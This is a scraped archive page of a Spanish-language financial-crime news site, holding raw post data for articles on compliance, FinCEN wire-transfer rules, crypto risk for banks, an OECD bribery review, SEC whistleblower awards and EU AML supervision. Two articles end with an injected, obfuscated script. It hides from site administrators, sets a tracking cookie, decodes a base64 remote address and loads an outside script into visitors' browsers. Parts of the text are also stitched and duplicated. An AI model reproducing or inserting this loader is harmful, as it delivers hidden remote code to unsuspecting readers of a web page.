Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer 